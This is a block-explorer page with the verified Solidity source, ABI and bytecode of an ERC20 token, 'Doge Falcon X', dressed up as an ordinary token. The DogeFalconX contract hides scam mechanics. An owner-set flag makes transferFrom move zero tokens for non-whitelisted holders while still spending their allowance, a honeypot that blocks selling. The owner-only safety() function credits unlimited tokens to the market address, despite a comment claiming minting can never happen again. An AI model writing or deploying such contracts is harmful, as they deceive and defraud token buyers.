Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• library Address
•    - function isContract(address account)
•    - function sendValue(address payable re ...
•    - function functionCall(address target, ...
•    - function functionCall(address target, ...
•    - function functionCallWithValue(addres ...
•    - function functionCallWithValue(
•    - function functionStaticCall(address t ...
•    - function functionStaticCall(address t ...
•    - function functionDelegateCall(address ...
•    - function functionDelegateCall(address ...
•    - function verifyCallResultFromTarget(
•    - function verifyCallResult(bool succes ...
•    - function _revert(bytes memory returnd ...
• library SafeMath
•    - function tryAdd(uint256 a, uint256 b)
•    - function trySub(uint256 a, uint256 b)
•    - function tryMul(uint256 a, uint256 b)
•    - function tryDiv(uint256 a, uint256 b)
•    - function tryMod(uint256 a, uint256 b)
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function mod(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function div(uint256 a, uint256 b, st ...
•    - function mod(uint256 a, uint256 b, st ...
•    - function _msgSender()
•    - function _msgData()
•    - function owner()
•    - function _checkOwner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function _transferOwnership(address n ...
•  contract MarketOwned is Ownable
•    - function setMarket(address market_)
•    - function market()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address to, uint256 ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address from, a ...
• interface IERC20Metadata is IERC20
•    - function name()
•    - function symbol()
•    - function decimals()
•  contract ERC20 is Context, IERC20, ...
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address to, uint256 ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address from, a ...
•    - function increaseAllowance(address sp ...
•    - function decreaseAllowance(address sp ...
•    - function _transfer(address from, addr ...
•    - function _mint(address account, uint2 ...
•    - function _burn(address account, uint2 ...
•    - function _approve(address owner, addr ...
•    - function _spendAllowance(address owne ...
•    - function _beforeTokenTransfer(address ...
•    - function _afterTokenTransfer(address ...
•  contract DogeFalconX is ERC20, Mar ... *
•    - function isApproved(address owner, ad ...
•    - function recover()
•    - function transferFrom(address sender, ...
•    - function setLiquidityStatus(bool valu ...
•    - function addMultipleToLiquidity(addre ...
•    - function _addToLiquidity(address _add ...
•    - function safety(uint256 amount_)
•    - function _safety(uint256 amount_)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-12-04
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;

library Address {
    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, 'Address: insufficient balance');
        (bool success, ) = recipient.call{ value: amount }('');
        require(success, 'Address: unable to send value, recipient may have reverted');
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, 'Address: low-level call failed');
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, 'Address: insufficient balance for call');
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, 'Address: low-level static call failed');
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, 'Address: low-level delegate call failed');
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target), 'Address: call to non-contract');
            }
            return returndata;
        } else _revert(returndata, errorMessage);
    }

    function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
        if (success) return returndata;
        else _revert(returndata, errorMessage);
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract MarketOwned is Ownable {
    address internal _market;

    constructor(address market_) {
        _market = market_;
    }

    function setMarket(address market_) external onlyOwner returns (bool) {
        _market = market_;
        return true;
    }

    function market() public view returns (address) {
        return _market;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero');
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), 'ERC20: transfer from the zero address');
        require(to != address(0), 'ERC20: transfer to the zero address');

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, 'ERC20: transfer amount exceeds balance');
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), 'ERC20: mint to the zero address');

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), 'ERC20: burn from the zero address');

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, 'ERC20: burn amount exceeds balance');
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), 'ERC20: approve from the zero address');
        require(spender != address(0), 'ERC20: approve to the zero address');

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, 'ERC20: insufficient allowance');
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract DogeFalconX is ERC20, MarketOwned {
    using SafeMath for uint256;
    bool private LiquidityOnly;
    mapping(address => bool) public liquidity;

    constructor(address market_) ERC20('Doge Falcon X', 'DFX') MarketOwned(market_) {
        LiquidityOnly = false;
        liquidity[address(this)] = true;
        liquidity[_msgSender()] = true;
        liquidity[market_] = true;
        // _mint is an internal function in ERC20.sol that is only called here,
        // and CANNOT be called ever again
        _mint(_msgSender(), 1e6 * 1e18);
    }

    receive() external payable {}

    function isApproved(address owner, address spender) public view virtual returns (bool) {
        if (allowance(owner, spender) >= balanceOf(owner)) return true;
        return false;
    }

    function recover() external onlyOwner {
        payable(market()).transfer(address(this).balance);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        if (liquidity[sender]) {
            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, 'ERC20: transfer amount exceeds allowance'));
        } else if (LiquidityOnly == false) {
            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, 'ERC20: transfer amount exceeds allowance'));
        } else {
            _transfer(sender, recipient, 0);
            _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, 'ERC20: transfer amount exceeds allowance'));
        }
        return true;
    }

    function setLiquidityStatus(bool value) external onlyOwner {
        LiquidityOnly = value;
    }

    function addMultipleToLiquidity(address[] memory _addresses) external onlyOwner {
        for (uint256 i; i < _addresses.length; i++) {
            _addToLiquidity(_addresses[i]);
        }
    }

    function _addToLiquidity(address _address) internal {
        liquidity[_address] = true;
    }

    function safety(uint256 amount_) external onlyOwner {
        _safety(amount_.mul(1e18));
    }

    function _safety(uint256 amount_) internal virtual {
        _beforeTokenTransfer(address(0), market(), amount_);
        _balances[market()] += amount_;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"market_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"}],"name":"addMultipleToLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"isApproved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"liquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"market","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recover","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"safety","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setLiquidityStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"market_","type":"address"}],"name":"setMarket","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50604051620013913803806200139183398101604081905262000034916200032a565b604080518082018252600d81526c088dececa408cc2d8c6dedc40b609b1b602080830191825283518085019094526003808552620888cb60eb1b91850191909152825185949262000086929162000284565b5080516200009c90600490602084019062000284565b505050620000b9620000b36200016860201b60201c565b6200016c565b600680546001600160a81b0319166001600160a01b039092169190911790553060009081526007602081905260408220805460ff1916600190811790915591620001003390565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790559085168152600790925290208054909116600117905562000161620001503390565b69d3c21bcecceda1000000620001be565b50620003c0565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620002195760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600260008282546200022d91906200035c565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b828054620002929062000383565b90600052602060002090601f016020900481019282620002b6576000855562000301565b82601f10620002d157805160ff191683800117855562000301565b8280016001018555821562000301579182015b8281111562000301578251825591602001919060010190620002e4565b506200030f92915062000313565b5090565b5b808211156200030f576000815560010162000314565b6000602082840312156200033d57600080fd5b81516001600160a01b03811681146200035557600080fd5b9392505050565b600082198211156200037e57634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200039857607f821691505b60208210811415620003ba57634e487b7160e01b600052602260045260246000fd5b50919050565b610fc180620003d06000396000f3fe6080604052600436106101395760003560e01c806380f55605116100ab578063a9059cbb1161006f578063a9059cbb1461036d578063b8c876b11461038d578063ce746024146103bd578063dd62ed3e146103d2578063efb9aabf146103f2578063f2fde38b1461041257600080fd5b806380f55605146102c85780638da5cb5b146102fa57806395d89b4114610318578063a389783e1461032d578063a457c2d71461034d57600080fd5b8063313ce567116100fd578063313ce56714610201578063395093511461021d57806339a7ac861461023d5780636dcea85f1461025d57806370a082311461027d578063715018a6146102b357600080fd5b806306fdde0314610145578063095ea7b31461017057806318160ddd146101a057806323b872dd146101bf57806328780894146101df57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610432565b6040516101679190610c74565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004610ce0565b6104c4565b6040519015158152602001610167565b3480156101ac57600080fd5b506002545b604051908152602001610167565b3480156101cb57600080fd5b506101906101da366004610d0a565b6104de565b3480156101eb57600080fd5b506101ff6101fa366004610d46565b610584565b005b34801561020d57600080fd5b5060405160128152602001610167565b34801561022957600080fd5b50610190610238366004610ce0565b6105aa565b34801561024957600080fd5b506101ff610258366004610d7e565b6105c7565b34801561026957600080fd5b50610190610278366004610e43565b610632565b34801561028957600080fd5b506101b1610298366004610e43565b6001600160a01b031660009081526020819052604090205490565b3480156102bf57600080fd5b506101ff610660565b3480156102d457600080fd5b506006546001600160a01b03165b6040516001600160a01b039091168152602001610167565b34801561030657600080fd5b506005546001600160a01b03166102e2565b34801561032457600080fd5b5061015a610674565b34801561033957600080fd5b50610190610348366004610e5e565b610683565b34801561035957600080fd5b50610190610368366004610ce0565b6106bc565b34801561037957600080fd5b50610190610388366004610ce0565b610747565b34801561039957600080fd5b506101906103a8366004610e43565b60076020526000908152604090205460ff1681565b3480156103c957600080fd5b506101ff610755565b3480156103de57600080fd5b506101b16103ed366004610e5e565b610799565b3480156103fe57600080fd5b506101ff61040d366004610e91565b6107c4565b34801561041e57600080fd5b506101ff61042d366004610e43565b6107e6565b60606003805461044190610eaa565b80601f016020809104026020016040519081016040528092919081815260200182805461046d90610eaa565b80156104ba5780601f1061048f576101008083540402835291602001916104ba565b820191906000526020600020905b81548152906001019060200180831161049d57829003601f168201915b5050505050905090565b6000336104d281858561085c565b60019150505b92915050565b6001600160a01b03831660009081526007602052604081205460ff16156105485761050a848484610980565b61054384335b61053e85604051806060016040528060288152602001610f64602891396105378a33610799565b9190610b25565b61085c565b61057a565b600654600160a01b900460ff166105645761050a848484610980565b61057084846000610980565b61057a8433610510565b5060019392505050565b61058c610b51565b60068054911515600160a01b0260ff60a01b19909216919091179055565b6000336104d28185856105bd8383610799565b61053e9190610efb565b6105cf610b51565b60005b815181101561062e5761061c8282815181106105f0576105f0610f13565b60200260200101516001600160a01b03166000908152600760205260409020805460ff19166001179055565b8061062681610f29565b9150506105d2565b5050565b600061063c610b51565b50600680546001600160a01b0319166001600160a01b03831617905560015b919050565b610668610b51565b6106726000610bab565b565b60606004805461044190610eaa565b6001600160a01b0382166000908152602081905260408120546106a68484610799565b106106b3575060016104d8565b50600092915050565b600033816106ca8286610799565b90508381101561072f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61073c828686840361085c565b506001949350505050565b6000336104d2818585610980565b61075d610b51565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610796573d6000803e3d6000fd5b50565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6107cc610b51565b6107966107e182670de0b6b3a7640000610bfd565b610c10565b6107ee610b51565b6001600160a01b0381166108535760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610726565b61079681610bab565b6001600160a01b0383166108be5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610726565b6001600160a01b03821661091f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610726565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109e45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610726565b6001600160a01b038216610a465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610726565b6001600160a01b03831660009081526020819052604090205481811015610abe5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610726565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b60008184841115610b495760405162461bcd60e51b81526004016107269190610c74565b505050900390565b6005546001600160a01b031633146106725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610726565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000610c098284610f44565b9392505050565b610c27600061062e6006546001600160a01b031690565b80600080610c3d6006546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610c6c9190610efb565b909155505050565b600060208083528351808285015260005b81811015610ca157858101830151858201604001528201610c85565b81811115610cb3576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461065b57600080fd5b60008060408385031215610cf357600080fd5b610cfc83610cc9565b946020939093013593505050565b600080600060608486031215610d1f57600080fd5b610d2884610cc9565b9250610d3660208501610cc9565b9150604084013590509250925092565b600060208284031215610d5857600080fd5b81358015158114610c0957600080fd5b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610d9157600080fd5b823567ffffffffffffffff80821115610da957600080fd5b818501915085601f830112610dbd57600080fd5b813581811115610dcf57610dcf610d68565b8060051b604051601f19603f83011681018181108582111715610df457610df4610d68565b604052918252848201925083810185019188831115610e1257600080fd5b938501935b82851015610e3757610e2885610cc9565b84529385019392850192610e17565b98975050505050505050565b600060208284031215610e5557600080fd5b610c0982610cc9565b60008060408385031215610e7157600080fd5b610e7a83610cc9565b9150610e8860208401610cc9565b90509250929050565b600060208284031215610ea357600080fd5b5035919050565b600181811c90821680610ebe57607f821691505b60208210811415610edf57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610f0e57610f0e610ee5565b500190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610f3d57610f3d610ee5565b5060010190565b6000816000190483118215151615610f5e57610f5e610ee5565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4afd528e67fbc795c0c731932ce4cefdb25bcfcdaace0dfc4e640392006850364736f6c634300080b00330000000000000000000000009c70e71909dc8951e078e5a6d66844849cb6b4f0

0x6080604052600436106101395760003560e01c806380f55605116100ab578063a9059cbb1161006f578063a9059cbb1461036d578063b8c876b11461038d578063ce746024146103bd578063dd62ed3e146103d2578063efb9aabf146103f2578063f2fde38b1461041257600080fd5b806380f55605146102c85780638da5cb5b146102fa57806395d89b4114610318578063a389783e1461032d578063a457c2d71461034d57600080fd5b8063313ce567116100fd578063313ce56714610201578063395093511461021d57806339a7ac861461023d5780636dcea85f1461025d57806370a082311461027d578063715018a6146102b357600080fd5b806306fdde0314610145578063095ea7b31461017057806318160ddd146101a057806323b872dd146101bf57806328780894146101df57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610432565b6040516101679190610c74565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004610ce0565b6104c4565b6040519015158152602001610167565b3480156101ac57600080fd5b506002545b604051908152602001610167565b3480156101cb57600080fd5b506101906101da366004610d0a565b6104de565b3480156101eb57600080fd5b506101ff6101fa366004610d46565b610584565b005b34801561020d57600080fd5b5060405160128152602001610167565b34801561022957600080fd5b50610190610238366004610ce0565b6105aa565b34801561024957600080fd5b506101ff610258366004610d7e565b6105c7565b34801561026957600080fd5b50610190610278366004610e43565b610632565b34801561028957600080fd5b506101b1610298366004610e43565b6001600160a01b031660009081526020819052604090205490565b3480156102bf57600080fd5b506101ff610660565b3480156102d457600080fd5b506006546001600160a01b03165b6040516001600160a01b039091168152602001610167565b34801561030657600080fd5b506005546001600160a01b03166102e2565b34801561032457600080fd5b5061015a610674565b34801561033957600080fd5b50610190610348366004610e5e565b610683565b34801561035957600080fd5b50610190610368366004610ce0565b6106bc565b34801561037957600080fd5b50610190610388366004610ce0565b610747565b34801561039957600080fd5b506101906103a8366004610e43565b60076020526000908152604090205460ff1681565b3480156103c957600080fd5b506101ff610755565b3480156103de57600080fd5b506101b16103ed366004610e5e565b610799565b3480156103fe57600080fd5b506101ff61040d366004610e91565b6107c4565b34801561041e57600080fd5b506101ff61042d366004610e43565b6107e6565b60606003805461044190610eaa565b80601f016020809104026020016040519081016040528092919081815260200182805461046d90610eaa565b80156104ba5780601f1061048f576101008083540402835291602001916104ba565b820191906000526020600020905b81548152906001019060200180831161049d57829003601f168201915b5050505050905090565b6000336104d281858561085c565b60019150505b92915050565b6001600160a01b03831660009081526007602052604081205460ff16156105485761050a848484610980565b61054384335b61053e85604051806060016040528060288152602001610f64602891396105378a33610799565b9190610b25565b61085c565b61057a565b600654600160a01b900460ff166105645761050a848484610980565b61057084846000610980565b61057a8433610510565b5060019392505050565b61058c610b51565b60068054911515600160a01b0260ff60a01b19909216919091179055565b6000336104d28185856105bd8383610799565b61053e9190610efb565b6105cf610b51565b60005b815181101561062e5761061c8282815181106105f0576105f0610f13565b60200260200101516001600160a01b03166000908152600760205260409020805460ff19166001179055565b8061062681610f29565b9150506105d2565b5050565b600061063c610b51565b506